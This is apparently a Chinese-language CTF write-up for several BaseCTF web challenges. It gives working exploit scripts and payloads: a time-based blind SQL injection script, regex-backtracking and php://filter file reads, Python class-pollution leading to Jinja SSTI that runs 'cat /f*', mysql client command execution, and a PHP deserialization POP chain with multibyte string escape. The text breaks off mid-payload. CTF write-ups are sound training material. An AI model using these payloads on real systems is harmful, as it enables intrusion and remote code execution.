1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import string  import time sqlstr = "qwertyiuopasdfghjklzxcvbnm-{}1023456789"  flag=''  url = "http://challenge.basectf.fun:40165/"  for  i in range (1 , 100 ):    for  c in sqlstr:                  payload = "update flag set id = 'wi' where data regexp '^Base' and if(data REGEXP '^{}',sleep(1.5), 1)" .format ((flag + c))         params = {                         'sql' : payload                     }         start_time = time.time ()         r = requests.get (url=url, params=params)         print (r.text)         try :             r = requests.get (url=url,params=params)             print (r.text)             end_time = time.time ()             response_time = end_time - start_time             if  response_time>1 :                 print (flag + c)                 flag += c                 break          except:             print ("Request failed" )             continue  
 
[Fin] 1z_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ){     for  ($i =0 ;$i <strlen ($emp );$i ++){         if  (ctype_alpha ($emp [$i ])){             die ("你不是hacker?那请去外场等候!" );         }     }     echo  "只有真正的hacker才能拿到flag!" ."<br>" ;     if  (preg_match ('/.+?HACKER/is' ,$try )){         die ("你是hacker还敢自报家门呢?" );     }     if  (!stripos ($try ,'HACKER' ) === TRUE ){         die ("你连自己是hacker都不承认,还想要flag呢?" );     }     $a =$_GET ['a' ];     $b =$_GET ['b' ];     $c =$_GET ['c' ];     if (stripos ($b ,'php' )!==0 ){         die ("收手吧hacker,你得不到flag的!" );     }     echo  (new  $a ($b ))->$c (); } else {     die ("114514到底是啥意思嘞?。?" ); } $shell =$_POST ['shell' ];eval ($shell );?> 
 
这里直接提交shell没用,但是最后出的时候调用又可以
首先注意参数的合法,需要将第一个改为[才可以不让后面的.解析为 
这里第一个if有两个绕过方法
1 2 ?e[m.p=0337522   ?e[m.p=114514.2   
 
后面这两个if有些矛盾,如果想直接绕过很困难,先分析一下
1 2 preg_match ('/.+?HACKER/is' ,$try )!stripos ($try ,'HACKER' ) === TRUE   
 
后面的stripos没有办法绕过,但是前面的正则可以通过正则回溯来进行绕过
1 2 3 4 5 6 7 8 import requests url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522'  data = {     'try' : 'aaaa'  * 250001  + 'HACKER'  } r = requests.post (url=url, data=data).text print (r)
 
最后面就是一个原生类调用
1 2 3 4 5 6 7 $a =$_GET ['a' ];$b =$_GET ['b' ];$c =$_GET ['c' ];if (stripos ($b ,'php' )!==0 ){    die ("收手吧hacker,你得不到flag的!" ); } echo  (new  $a ($b ))->$c ();
 
这里需要调用类的一个方法,可以想到通过fgets来读取文件
1 2 3 4 5 6 7 8 9 10 &a=SplFileObject &b=php: import requests url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'  data = {     'try' : 'aaaa'  * 250001  + 'HACKER'  } r = requests.post (url=url, data=data).text print (r)
 
解码即可
这里也可以再提交shell来rce,但是还得构造好payload之后,真的不知道原来干嘛的
1 2 3 4 5 6 7 8 9 10 import requests url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'  data = {     'try' : 'aaaa'  * 250001  + 'HACKER' ,     'shell' :"system('cat f*');"  } r = requests.post (url=url, data=data).text print (r)
 
[Fin] Jinja Mark 
在/index下有一个输入框,当尝试去进行ssti时就出现提示
但是当打开/magic时就需要通过post提交什么东西
先去/flag中看看
这里就可能需要我们去进行爆破的lucky_number,直接通过bp来进行爆破就可以的lucky_number
这里就是5346,提交之后就得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ] def merge (src, dst):     for  k, v in src.items ():         if  hasattr (dst, '__getitem__' ):             if  dst.get (k) and  type (v) == dict:                 merge (v, dst.get (k))             else :                 dst[k] = v         elif hasattr (dst, k) and  type (v) == dict:             merge (v, getattr (dst, k))         else :             setattr (dst, k, v) @app.route ('/magic' ,methods=['POST' , 'GET' ]) def pollute ():     if  request.method == 'POST' :         if  request.is_json:             merge (json.loads (request.data), instance)             return  "这个魔术还行吧"          else :             return  "我要json的魔术"      return  "记得用POST方法把魔术交上来"  
 
这里可以看到BLACKLIST_IN_index = [‘{‘,’}’],这里就禁用了{}所以直接ssti就有问题,很明显想让我们通过原型链污染来将其污染掉,其实也挺简单,可能/magic就是污染的地方,将上传的地方改为json再进行上传即可
1 2 3 4 5 6 7 {     "__init__" :{         "__globals__" :{             "BLACKLIST_IN_index" :""          }     } } 
 
最后就是在index中进行简单的ssti即可
1 {{config.__class__.__init__.__globals__['os' ].popen ('cat /f*' ).read ()}} 
 
这里再讲一个非预期解,其实这里还是可以通过第一个原型链污染的方法污染静态代码目录来读取flag,和第一个的一样
1 2 3 4 5 6 7 8 9 {     "__init__" :{         "__globals__" :{             "app" :{                 "_static_folder" :"./"              }         }     } } 
 
最后访问/static/flag即可
[Fin] Lucky Number 这个直接给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 你不会以为这里真的有flag吧? 想要flag的话先提交我的幸运数字5346  但是我的主人觉得我泄露了太多信息,就把我的幸运数字给删除了 但是听说在heaven中有一种create方法,配合__kwdefaults__可以创造出任何事物,你可以去/m4G1c里尝试着接触到这个方法 下面是前人留下来的信息,希望对你有用 from  flask import Flask,request,render_template_string,render_templatefrom  jinja2 import Templateimport json import heaven def merge (src, dst):     for  k, v in src.items ():         if  hasattr (dst, '__getitem__' ):             if  dst.get (k) and  type (v) == dict:                 merge (v, dst.get (k))             else :                 dst[k] = v         elif hasattr (dst, k) and  type (v) == dict:             merge (v, getattr (dst, k))         else :             setattr (dst, k, v) class  cls ():    def  __init__ (self ):         pass  instance  = cls ()BLACKLIST_IN_index  = [' {',' }'] def is_json(data):     try:         json.loads(data)         return True     except ValueError:         return False @app.route(' /m4G1c',methods=[' POST', ' GET']) def pollute():     if request.method == ' POST':         if request.is_json:             merge(json.loads(request.data), instance)             result = heaven.create()             message = result["message"]             return "这个魔术还行吧 " + message         else:             return "我要json的魔术"     return "记得用POST方法把魔术交上来" #heaven.py def create(kon="Kon", pure="Pure", *, confirm=False):     if confirm and "lucky_number" not in create.__kwdefaults__:         return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}     if confirm and "lucky_number" in create.__kwdefaults__:         return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}     return {"message": "你有什么想创造的吗?", "lucky_number": "nope"} 
 
也是一个原型链污染,具体污染什么可以直接通过源码看
1 2 3 4 5 6 7 8 9 def create (kon="Kon" , pure="Pure" , *, confirm=False):     if  confirm and  "lucky_number"  not in create.__kwdefaults__:         return  {"message" : "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?" , "lucky_number" : "nope" }     if  confirm and  "lucky_number"  in create.__kwdefaults__:         return  {"message" : "这是你的lucky_number,请拿好,去/check下检查一下吧" , "lucky_number" : create.__kwdefaults__["lucky_number" ]}     return  {"message" : "你有什么  
 
可以看到在heaven.py里面有一个函数就是create里面有两个if需要绕过
第一就是confirm参数为true,其次luckynumber在create._kwdefaults  (这个就是create函数关键字参数的默认值的字典)中,这里就是我们的幸运数字,题目直接给了
思路还是一样通过获取全局属性进行修改函数里面kwdefaults 的值即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 {     "__init__" :{         "__globals__" :{             "heaven" :{                 "create" :{                     "__kwdefaults__" :{                         "confirm" :"True" ,                         "lucky_number" :"5346"                      }                 }             }         }     } } 
 
最后查看/check给出一个/ssSstTti1最后通过ssti来得flag
1 {{config.__class__.__init__.__globals__['os' ].popen ('cat /f*' ).read ()}} 
 
这里还是有一个非预期解直接通过静态目录污染即可,我感觉这里是出题人的疏忽吧
1 2 3 4 5 6 7 8 9 {     "__init__" :{         "__globals__" :{             "app" :{                 "_static_folder" :"./"              }         }     } } 
 
再访问/static/flag
[Fin] RCE or Sql Inject 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql  = $_GET ['sql' ];if  (preg_match ('/se|ec|;|@|del|into|outfile/i' , $sql )) {    die ("你知道的,不可能有sql注入" ); } if  (preg_match ('/"|\$|`|\\\\/i' , $sql )) {    die ("你知道的,不可能有RCE" ); } $query  = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- "  . $sql  . "\"" ;system ($query );
 
这里将sql注入又进行了过滤,所以使用sql注入就不可能了
这里就需要通过rce来读取flag,题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权
1 2 %0 asystem whoami  %0 asystem export  
 
[Fin] ez_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php  highlight_file (__file__); function  substrstr ($data  )  {     $start  = mb_strpos ($data , "[" );      $end  = mb_strpos ($data , "]" );      return  mb_substr ($data , $start  + 1 , $end  - 1  - $start );  }  class  Hacker  {     public  $start ;      public  $end ;      public  $username ="hacker" ;      public  function  __construct ($start  ) {          $this ->start=$start ;      }      public  function  __wakeup ( ) {          $this ->username="hacker" ;          $this ->end = $this ->start;      }      public  function  __destruct ( ) {          if (!preg_match ('/ctfer/i' ,$this ->username)){              echo  'Hacker!' ;          }      }  }  class  C  {     public  $c ;      public  function  __toString ( ) {          $this ->c->c ();          return  "C" ;      }  }  class  T  {     public  $t ;      public  function  __call ($name ,$args  ) {          echo  $this ->t->t;      }  }  class  F  {     public  $f ;      public  function  __get ($name  ) {          return  isset ($this ->f->f);      }  }  class  E  {     public  $e ;      public  function  __isset ($name  ) {          ($this ->e)();      }  }  class  R  {     public  $r ;      public  function  __invoke ( ) {          eval ($this ->r);      }  }  if (isset ($_GET ['ez_ser.from_you' ])){     $ctf  = new  Hacker ('{{{' .$_GET ['ez_ser.from_you' ].'}}}' );      if (preg_match ("/\[|\]/i" , $_GET ['substr' ])){          die ("NONONO!!!" );      }      $pre  = isset ($_GET ['substr' ])?$_GET ['substr' ]:"substr" ;      $ser_ctf  = substrstr ($pre ."[" .serialize ($ctf )."]" );      $a  = unserialize ($ser_ctf );      throw  new  Exception ("杂鱼~杂鱼~" );  }  
 
这个题看到一个pop链,就可以先去构造,需要注意的是这里需要绕过throw new Exception(“杂鱼~杂鱼~”); ,所以,这里就需要去提前触发Hacker里面的__destruct(),这里就可以通过php回收机制来进行绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class  Hacker  {    public  $start ;     public  $end ;     public  $username ="hacker" ; } class  C  {    public  $c ; } class  T  {    public  $t ; } class  F  {    public  $f ; } class  E  {    public  $e ; } class  R  {    public  $r ; } $a  = new  Hacker ();$a ->end = &$a ->username;$a ->start = new  C ();$a ->start->c = new  T ();$a ->start->c->t = new  F ();$a ->start->c->t->f = new  E ();$a ->start->c->t->f->e = new  R ();$a ->start->c->t->f->e->r = 'system("ls");' ;$b =array ('1' =>$a ,'2' =>null );echo  serialize ($b );
 
序列化的结果在最后有一个i:2;,改为i:1,来提前触发__destruct()
1 a:2 :{i:1 ;O:6 :"Hacker" :3 :{s:5 :"start" ;O:1 :"C" :1 :{s:1 :"c" ;O:1 :"T" :1 :{s:1 :"t" ;O:1 :"F" :1 :{s:1 :"f" ;O:1 :"E" :1 :{s:1 :"e" ;O:1 :"R" :1 :{s:1 :"r" ;s:13 :"system(" ls");" ;}}}}}s:3 :"end" ;s:6 :"hacker" ;s:8 :"username" ;R:9 ;}i:1 ;N;} 
 
这里就已经完成第一步了,接下来就要看如何提交参数和进行逃逸
参数的合法可以直接将第一个改为[即可 ez[ser.fromyou 否则后面的.会被解析为 
接下来就得开始字符串逃逸的操作,首先需要知道一点,可以查看对于比赛的题目来进行类似
https://chenxi9981.github.io/ctfshow_XGCTF_%E8%A5%BF%E7%93%9C%E6%9D%AF/#Web 
1 2 3 每发送一个%f0abc,mb_strpos认为是4 个字节,mb_substr认为是1 个字节,相差3 个字节 每发送一个%f0%9 fab,mb_strpos认为是3 个字节,mb_substr认为是1 个字节,相差2 个字节 每发送一个%f0%9 f%9 fa,mb_strpos认为是2 个字节,mb_substr认为是1 个字节,相差1 个字节 
 
这里如果直接将我们构造好的链子上传就变为了
1 O:6 :"Hacker" :3 :{s:5 :"start" ;s:214 :"{{{a:2:{i:1;O:6:" Hacker":3:{s:5:" start";O:1:" C":1:{s:1:" c";O:1:" T":1:{s:1:" t";O:1:" F":1:{s:1:" f";O:1:" E":1:{s:1:" e";O:1:" R":1:{s:1:" r";s:13:" system ("ls" );";}}}}}s:3:" end";s:6:" hacker";s:8:" username";R:9;}i:2;N;}}}}" ;s:3 :"end" ;N;s:8 :"username" ;s:6 :"hacker" ;} 
 
前面的其中的38个字符是没有用的,后面的可以不用管,会在序列化时被忽视,所以只需要将前面的去除即可
1 O:6 :"Hacker" :3 :{s:5 :"start" ;s:214 :"{{{  
 
最后面的payload就出来了
1 substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9 fab&ez[ser.from_you=a:2 :{i:1 ;O:6 :"Hacker" :3 :{s:5 :"start" ;O:1 :"C" :1 :{s:1 :"c" ;O:1 :"T" :1 :{s:1 :"t" ;O:1 :"F" :1 :{s:1 :"f" ;O:1 :"E" :1 :{s:1 :"e" ;O:1 :"R" :1 :{s:1 :"r" ;s:13 :"system(" ls");" ;}}}}}s:3 :"end" ;s:6 :"hacker" ;s:8 :"username" ;R:9 ;}i:1 ;N;} 
 
最后面就直接去读flag即可
1 ?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9 fab&ez[ser.from_you=a:2 :{i:1 ;O:6 :"Hacker" :3 :{s:5 :"start" ;O:1 :"C" :1 :{s:1 :"c" ;O:1 :"T" :1 :{s:1 :"t" ;O:1 :"F" :1 :{s:1 :"f" ;O:1 :"E" :1 :{s:1 :"e" ;O:1 :"R" :1 :{s:1 :"r" ;s:17 :"system(" cat